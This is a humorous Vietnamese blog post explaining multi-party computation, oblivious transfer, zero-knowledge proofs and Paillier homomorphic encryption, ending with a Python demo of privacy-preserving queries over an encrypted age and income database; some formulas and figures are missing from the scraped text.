An toàn tính toán đa thành viên https://babyphd.net/2016/09/07/an-toan-tinh-toan-da-thanh-vien/ Wed, 07 Sep 2016 11:24:32 +0000 https://babyphd.net/?p=557 Continue reading An toàn tính toán đa thành viên ]]> Multi-Party Computation (MPC) là một khái niệm được các nhà mật mã học đắn đo nghiên cứu tận những thập niên 80 thế kỷ trước. Xuất phát tự nhiên từ những bài toán học búa trong cuộc sống phải đặt ra một giao thức hay ho hơn để đánh đố nhau. Ví dụ năm 1982 đó là bài toán triệu phú của anh Yao (1982 Andrew Yao  1), diễn Nôm đơn giản là anh Bin có số A tiền, còn anh Job có số B tiền. Hai anh trong một cuộc nhậu lỡ thách nhau xem ai có nhiều tiền hơn ai surrender. Nhưng hai anh đều không muốn lộ ra tổng số tiền mình có cho nhau biết. Do đó mới nảy sinh bài toàn chứng minh bất đẳng thức A ≥ B mà không lộ thông tin nào của A và B cho bất cứ ai, kể cả 2 anh Bin và anh Jobs. Giải quyết xong bài toàn này đã mở ra một kỷ nguyên mới cho bảo mật thông tin đặc biệt là thương mai điện tử, data mining khi muốn so sánh các giá trị, tính toán cộng trừ nhân chia mà vẫn bảo vệ được thông tin mật như số tiền, tổng tiền trong tài khoản khách hàng, thông tin nhân khẩu học v.v.

1. MPC

Tổng quát hóa bài toán của Yao đó là: giả sử có n thành viên  bảo mật cho n giá trị tương ứng , và tất cả các thành viên thực hiện phép tính  sao cho các giá trị  được bảo mật hoàn toàn. Trong định nghĩa này, bài toán của Yao là trường hợp nhỏ với và phép tính 

Ví dụ thứ hai đó là trò chơi tình yêu, như các bạn đọc biết yeuchimse là một thanh niên ủy mị ướt át, sến rện hay nghĩ lung tung. Sẻ đệ lần đầu tiên không dám tỏ tình vì sợ người ấy không thích mình thì thật là quê độ nên đã yêu cầu chuymichxinhdep thiết kế một giao thức sao cho:

  • Eligibility: được thổ lộ và chỉ thổ lộ môt lần.
  • Privacy: đảm bảo không lộ thông tin đã thổ lộ cho bất kỳ ai biết, cho dù đó là người ấy hay chính chuymichxinhdep 
  • Universal Verifiability: ai cũng có thể check được kết quả là 2 đứa nó có đến được với nhau hay không để đảm bảo tính công bằng của cuộc chơi tình ái.
  • Robustness: Mọi hành động gian trá ví dụ như thổ lộ có yêu sau đó lại thay đổi ý kiến là không yêu đều bị cấm.

4 tiền đề trên các bạn đọc nào thông minh có thể áp dụng vào bầu cử điện tử, tuy nhiên giao thức chuymichxinhdep thiết kế dưới đây sau này được biết đến rộng rãi dưới cái tên  Five-Card Trick (Bert den Boer, Eurocrypt 1989) như sau:

Five-Card Trick (Bert den Boer, Eurocrypt 1989)
Five-Card Trick (Bert den Boer, Eurocrypt 1989)

Với 5 lá bài Át, mặc định một chiếc lá Át cơ đỏ đặt sẵn trên bàn. Với các câu trả lời giữa 2 người tham gia trò chơi là Yêu hoặc không Yêu tương ứng với 2 cách xếp bài Át cơ, Át bích. Sau khi đặt bài xuống bàn (có thể thay đổi chiều hàng 5 bài để không ai biết câu trả lời của mình ở bên nào) thì kết quả cả 2 người đều có cảm tình với nhau chỉ xảy ra khi có 3 quân Át cơ nằm cạnh nhau. Trường hợp kết quả 2 người không hợp nhau thì vẫn đảm bảo cô gái không biết được đối phương trả lời là Yêu hay không Yêu. (Thật là vi diệu phải không? boss)

Để giải thích cách giải này, thực chất đó chính là bảng AND toán tử ở bảng này:

Untitled

Kết quả xy=1 thì rõ khi và chỉ khi x=1 và y=1. Còn với xy=0 thì ta chỉ kết luận có 1 trong x hoặc y trả lời 0 mà không thể khẳng định rõ ai trả lời 0 hay 1. Kết quả lần thực nghiệm protocol đó như các bạn đã biết, cuộc sống rất ồn ào, có những kẻ thất tình không biết trốn vào đâu để ngồi một mình và tìm sự tĩnh lặng cho riêng mình nên đành chơi CTF. “Em chưa lấy chồng là lỗi của anh!”. Với love game thì đen bạc còn đỏ tình nhưng yeuchimse đen thôi, đỏ vẫn vậy. beauty

2. OT

Để hóc búa hơn, người ta đã phát minh ra giao thức rất hay ho đó là Chuyển giao không lộ thông tin ( Oblivious Transfer ) đơn giản thế này:  Anh Mao giữ 2 giá trị  là bít tức là chỉ có 0 hoặc 1, chị MaiAnh giữ một giá trị secret s, tất nhiên, cũng chỉ là bít 01. Chị chọn một số u ngẫu nhiên khá to trong tập nguyên Z và chị tính với . Do s là bit nên lúc này chị có 2 giá trị , chị gửi cả 2 giá trị này lại cho Mao với mục đích làm Mao không biết giá trị u, s là gì, kể cả giá trị ở đây là generator chung mà cả 2 đều biết, thì theo bạn ElGamal đối với máy tính cổ lỗ của Mao là con MBP 15 inch đời giữa 2015, tới lúc bốc mộ cũng không giải ra được u (à mà với điều kiện là chị MaiAnh có u rất to nhé). Sau bước này thì Mao chọn 2 giá trị cũng ngẫu nhiên trong tập nguyên để tính một phương trình phức tạp hơn đó là:

Rồi Mao chuyển lại cặp để cho MaiAnh tính ra . Như vậy, Mao không để lộ cả 2 giá trị , trong khi MaiAnh không để lộ mà vẫn lấy được về. Mao cũng không biết được MaiAnh đã lấy số nào về mà chỉ biết MaiAnh đã lấy được 1 số. Tóm tắt lại trong hình như sau:

Untitled

Câu hỏi đặt ra OT sẽ được áp dụng như thế nào, ví dụ anh Mích đang làm hệ thống e-Health sức khỏe y tế điện tử. Vì anh là bên thứ 3 làm tin học nên tất nhiên anh không được ông quan thanh liêm nào cho tiếp cận vào hồ sơ y tế của bệnh nhân. Do đó anh quyết định ký hợp đồng với bệnh viện sử dụng OT để làm API truy cập thông tin. Lúc này anh làm demo nên cơ sở dữ liệu mới có thông tin HIV của 2 bệnh nhân lưu dưới dạng dương tính (1) và âm tính (0). Áp dụng OTP anh Mích đã có thể biết trạng thái HIV của 1 trong 2 bệnh nhân mà bệnh viên không biết anh đã query bệnh nhân nào.

3.ZKP

Bệnh cạnh việc dùng OT để chia sẻ không lộ thông tin, người ta còn nghĩ ra nhiều trò phức tạp khác dưới cái tên ZKP (Zero Knowledge Proof) điển hình là bài toán lên bar của chụy Mích được trình bày như sau: Trong một lần trên bar hơi muộn vào khoảng 2 giờ sáng thì các anh pokemon ập vào đòi kiểm tra hành chính với lý do trên 18 tuổi mới được ngồi bar hút thuốc bú diệu như một số hoa hậu nào đó. Vốn là một người tôn trọng quyền con người chụy không muốn ai phán xét vì hút thuốc lá là quyền tự do của mỗi người. Chụy chân thành chúc mừng bạn chụy nếu em bỏ được thuốc, còn không em cũng đừng buồn vì sau một thời gian nghỉ, điếu thuốc sắp tới em hút đảm bảo nó sẽ ngon không bút nào tả xiết. Ngoài ra lại vốn là một người tôn trọng quyền con người chụy cũng không muốn để lộ liễu ngày sinh nhật của mình giữa chốn đông người. Thay vì trình ID CMND hay bằng lái chụy đã show thẻ ngân hàng của mình để quẹt bill cho các anh xem. Với luật trên 18 tuổi mới được làm credit card nên mặc nhiên chụy đã chứng minh mình đã trên 18 tuổi mà không để lộ ngày sinh của mình sexy_girl.

Một ví dụ ZKP thứ 2 đó là ví dụ hang động của AliBaBa:

Untitled

Nhi tuyên bố rằng cô biết mật mã để mở cửa hang. Líp hỏi cô phải chứng minh tuyên bố của mình. Nhưng Nhi không thể nói mật khẩu cho Líp vì như vậy thật là lộ liễu sexy_girl. Do đó chụy Mích đã chỉ cho Nhi một cách như sau:

  • Líp đứng quay mặt tụt quần ở một khoảng cách khá xa và chờ Nhi bước vào hang.
    Sau đó, Líp đến cửa hang rõ ràng anh ta không biết Nhi đã đi sang bên nào.
  • Líp tùy ý hét lên yêu cầu Nhi bước ra từ bên trái hoặc bên phải.
  • Hai đứa lặp lại trò chơi này cho đến khi Líp bị thuyết phục hoặc Nhi chán không chơi nữa.

Rõ ràng nếu Nhi đã ở phía bên trái và Líp yêu cầu cô ấy đến từ bên trái thì quả này Nhi đã may mắn surrender. Nếu không, Nhi chỉ có thể đến từ bên trái nếu cô ấy biết mật mã để mở cửa hang phải không nào (!?).

4.Hệ mật đồng cấu( Homomorphic cryptosystem)

Để tiếp tục là cuộc chơi thêm phần phức tạp, các nhà mật mã học lại tiếp tục nghĩ ra Hệ mật đồng cấu được định nghĩa:

Untitled

Hệ mã hoá Elgamal có tính chất đồng cấu, nhờ nó có thể tính được kết quả trong cuộc bỏ phiếu “chọn một trong hai”, mà không cần giải mã từng lá phiếu. Sơ đồ chia sẻ bí mật Shamir phối hợp với hệ mã hoá Elgamal còn có tính chất đặc biệt hơn nữa, nhờ nó có thể chia lá phiếu thành nhiều mảnh, cử tri gửi mỗi mảnh cho một thành viên ban kiểm phiếu, khi khớp các mảnh phiếu lại sẽ được nội dung đầy đủ của lá phiếu. Bài báo này trình bày các tính chất trên và chỉ ra ứng dụng của chúng trong bỏ phiếu từ xa.Hệ mã hoá Elgamal có tính chất đồng cấu, nhờ nó có thể tính được kết quả trong cuộc bỏ phiếu “chọn một trong hai”, mà không cần giải mã từng lá phiếu. Sơ đồ chia sẻ bí mật Shamir phối hợp với hệ mã hoá Elgamal còn có tính chất đặc biệt hơn nữa, nhờ nó có thể chia lá phiếu thành nhiều mảnh, cử tri gửi mỗi mảnh cho một thành viên ban kiểm phiếu, khi khớp các mảnh phiếu lại sẽ được nội dung đầy đủ của lá phiếu. (ref2 Trịnh Nhật Tiến, Đặng Thu Hiền, Trương Thị Thu Hiền, Lương Việt Nguyên)

Để rõ thêm về vấn đề này, bạn đọc có thể xem lại bài Introduction to Threshold signature scheme. Lưu ý Elgamal có tính chất đồng cấu còn RSA thì không nhé surrender. Ở khuôn khổ bài viết này chỉ trình bày thêm về hệ mã Paillier công bố năm 1999 như sau:

Giả sử n = pq và g là một phần tử đặc biết của nhóm cyclic Z dựa theo lũy thừa n sao cho . Khóa bí mật , khóa công khai (g, n). Với plaintext là thông điệp và một số r nguyên dương ngẫu nhiên thì hàm mã hóa được định nghĩa:

Lưu ý lcm = least common multiple ước chung nhỏ nhất. Và người ta thường chọn g=n+1 để thỏa mãn tính chất generator như sau:

Untitled

Còn quá trình giải mã thì phức tạp hơn chút, đó là:

Untitled

Vậy tại sao có RSA phổ cập nông thôn đã chất chơi người dơi rồi, các nhà mật mã học lại phải nghĩ ra hệ mật oái ăm này surrender. Ấy là vì ở đây ta có random r, mỗi lần mã hóa lại có ciphertext khác nhau. Ngoài ra với mỗi ciphertext nếu không biết random r thì lại ra vô số message m thỏa khác nhau. Ngoài ra với tính chất đồng cấu giúp cho phép cộng (+) và lũy thừa (^) ta có thể thiết kế các giao thức mã hóa gửi đi ciphertext để một bên thứ ba tính toán, bên tính toán này chỉ trả về kết quả phép tính mà không biết giá trị mà bên cần tính đưa ra là gì boss

Untitled

Ví dụ giao thức đơn giản Alice có publickey (để mã hóa) và 2 số tiền của 2 orders mà Bob đặt hàng đã được mã hóa [a], [b]. Alice không thể giải mã để biết a, b nhưng lại muốn tính tổng tiền [a+b]. Bob ở đây có secretkey có khả năng giải mã để tính phép cộng cho Alice nhưng hệ thông không muốn Bob biết Alice đang muốn tính gì.

Untitled

Alice bằng việc sử dụng random khiến cho Bob không biết đường nào mà lần, dù anh có giải mã ra a mũ và b ngã thì vẫn không đoán được a,b là gì. Tuy nhiên cũng xin lưu ý ở đây rằng, để đảm bảo giao thức hoạt động ngon thì random cần có một độ dài k bits cần thiết nhé. Lúc implement bị hack thì đừng đổ cho chụy không nói trước look_down.

5. Ví dụ ứng dụng

Phần này với bạn đọc nào hiểu rõ học thuật rồi có thể skip sang luôn phần like subcribe comment và share trên phây búc. Dưới đây chỉ là bài toán ví dụ đơn giản trẻ con sử dụng Pailler để bảo vệ các thông tin như: tuổi, thu nhập bằng Python.

Untitled

Đầu tiên, giả sử tôi có một hệ cơ sở dữ liệu cần mã hóa Paillier với 3 cột: Tên, tuổi, thu nhập. Tôi xin ăn cắp thư viện Pure Python Paillier Homomorphic Cryptosystem (3) để mã hóa dưới đây:

from paillier.paillier import *
from timer import Timer
import random,string

def encrypt_db():
	print "Encrypting...."
	for p in session.query(Person):
		p.age = str(encrypt(pub, int(p.age)))
		p.income = str(encrypt(pub, int(p.income)))
		p.name = str(int(p.name.encode("hex"),16))
	session.commit()

def decrypt_db():
	print "Decrypting...."
	for p in session.query(Person):
		print decrypt(priv, pub, int(p.age)) ,decrypt(priv, pub, int(p.income)) , hex(decrypt(priv, pub, int(p.name ))).replace("0x","").replace("L","")

print "Generating keypair..."
priv, pub =  generate_keypair(2048)

Với quyền query lên database toàn bộ bị mã hóa, tôi có 2 bài toán cần giải quyết đó là:

  • Nhập lên một số x, yêu cầu trả lời câu hỏi có bao nhiêu người có độ tuổi lớn hơn x mà không làm lộ số x đang được hỏi.
  • Tính tổng thu nhập của tất cả những người có độ tuổi lớn hơn x mà không làm lộ thông tin thu nhập của từng người.

Đề giải quyết 2 bài toán trên, tôi tham khảo giao thức tính toán không làm lộ dữ liệu được cải tiến của Zerkin (4) bạn tôi như sau:

Hàm gửi lên để lấy kết quả ta chỉ cần quan tâm tới hàm A(pub, enc_a, enc_b). Ở đây được code như sau (code bừa hơi dài đề nghị không gạch đá beat_brick):

from paillier.paillier import *
import random,string

l=17
def A(pub, enc_a, enc_b):
	enc_z = e_add(pub, e_add(pub, enc_a, encrypt(pub, 2**l)), invmod(enc_b,pub.n_sq))
	r = random.randrange(2**(80+l+1))

	r_bin = bin(r).replace("0b","").replace("L","")
	r_bin = "0"* (l-len(r_bin))+r_bin
	r_bin = r_bin[::-1]
	enc_r = encrypt(pub, r)
	enc_d = e_add(pub, enc_z , enc_r)
	enc_d1, enc_d2 , enc_t = B1(enc_d)
	s = [-1,1][random.randint(0,1)]

	h = [0]*l
	v = [0]*l
	enc_c = [0]*l
	enc_e = [0]*l
	for i in range(l):
		while True:
			h[i] = random.getrandbits(long(round(math.log(pub.n, 2))))
			if h[i] > 0 and h[i] < pub.n and gcd(h[i], pub.n) == 1:
				break

	for i in range(l):
		v[i] = s - int(r_bin[i])
		for j in range(i+1,l):
			v[i] -= (2**j) * int(r_bin[j])
		if v[i] < 0: 
			v[i] = pub.n + v[i]
		enc_c[i] = e_add(pub, encrypt(pub, v[i]), enc_t[i])
		enc_e[i] = pow (enc_c[i], h[i],pub.n_sq)

	enc_lamda = B2(enc_e)
	if s != 1:
		enc_lamda = e_add(pub, encrypt(pub,1), invmod(enc_lamda,pub.n_sq))
	enc_zl = e_add(pub, e_add(pub, enc_d2, invmod(encrypt(pub,(r / 2**l)),pub.n_sq)), invmod(enc_lamda,pub.n_sq))
	return B3(enc_zl)

def B1(enc_d):
	d= decrypt(priv, pub, enc_d)
	d1 = d%(2**l)
	d2 = d/(2**l)
	d_bin = bin(d1).replace("0b","").replace("L","")
	d_bin = "0"* (l-len(d_bin))+d_bin
	d_bin = d_bin[::-1]
	t = [int(0)]*l
	for i in range(l):
		t[i] = int(d_bin[i])
		for j in range(i+1,l):
			t[i] += (2**j) * int(d_bin[j])
		t[i] = encrypt(pub, t[i])
	return encrypt(pub,d1) , encrypt(pub,d2),t
def B2(enc_e):
	e = [int(0)]*l
	for i in range(l):
		e[i] = decrypt(priv, pub, enc_e[i])
		if e[i] ==0: return encrypt(pub,1)
	return encrypt(pub,0)


def B3(enc_zl):
	return decrypt(priv,pub, enc_zl)

Vậy với bài toán 1, để biết bao người có số tuổi từ x đổ lên ta chỉ cần query bằng hàm A():

index = [-1]*len(income)	
for i in range(len(age)):
	enc_x = encrypt(pub, x)
	if int(A(pub, age[i],  enc_x))>0:
		index[number] = i
		number+=1

Với bài toán 2, để thêm phần bảo mật ta nhét thêm một số random r thật dài vào mỗi lần query như sau:

	r = random.randrange(2**(80+32))
	for i in index:
		if i>-1:
			totalincome = e_add(pub, totalincome, income[i])
	totalincome = e_add(pub, totalincome, encrypt(pub,r))
	totalincome = decrypt(priv,pub,totalincome) - r

Thật là đơn giản phải không surrender, nếu bạn vẫn chưa hiểu, xin đừng liên hệ tôi vì tôi sẽ không giải thích đâu. Xin mời bạn đọc phần appendix nhé.

  1. "Protocols for secure computations". FOCS. 23rd Annual Symposium on Foundations of Computer Science (FOCS 1982): 160–164.doi:10.1109/SFCS.1982.88
  2. Mã hoá đồng cấu và ứng dụng http://tapchi.vnu.edu.vn/tckh/news/?1887/635/Ma-hoa-dong-cau-va-ung-dung.htm
  3. https://github.com/mikeivanov/paillier
  4. Z. Erkin, M. Franz, J. Guajardo, S. Katzenbeisser, R. L. Lagendijk and T. Toft, Privacy- Preserving Face Recognition, 9th International Symposium on Privacy Enhancing Technologies, LNCS 5672, pp. 235-253, August 2009.

Appendix:

Ứng dụng hệ mã hóa đồng cấu trong nhận dạng hình ảnh tội phạm (vẫn đảm bảo quyền bảo vệ hệ thống hình ảnh tội phạm, cũng như không làm lộ khuôn mặt người cần kiểm tra):

Untitled

Tính toán không lộ thông tin (ghi chú phần 4)

av2

Untitled

]]>
557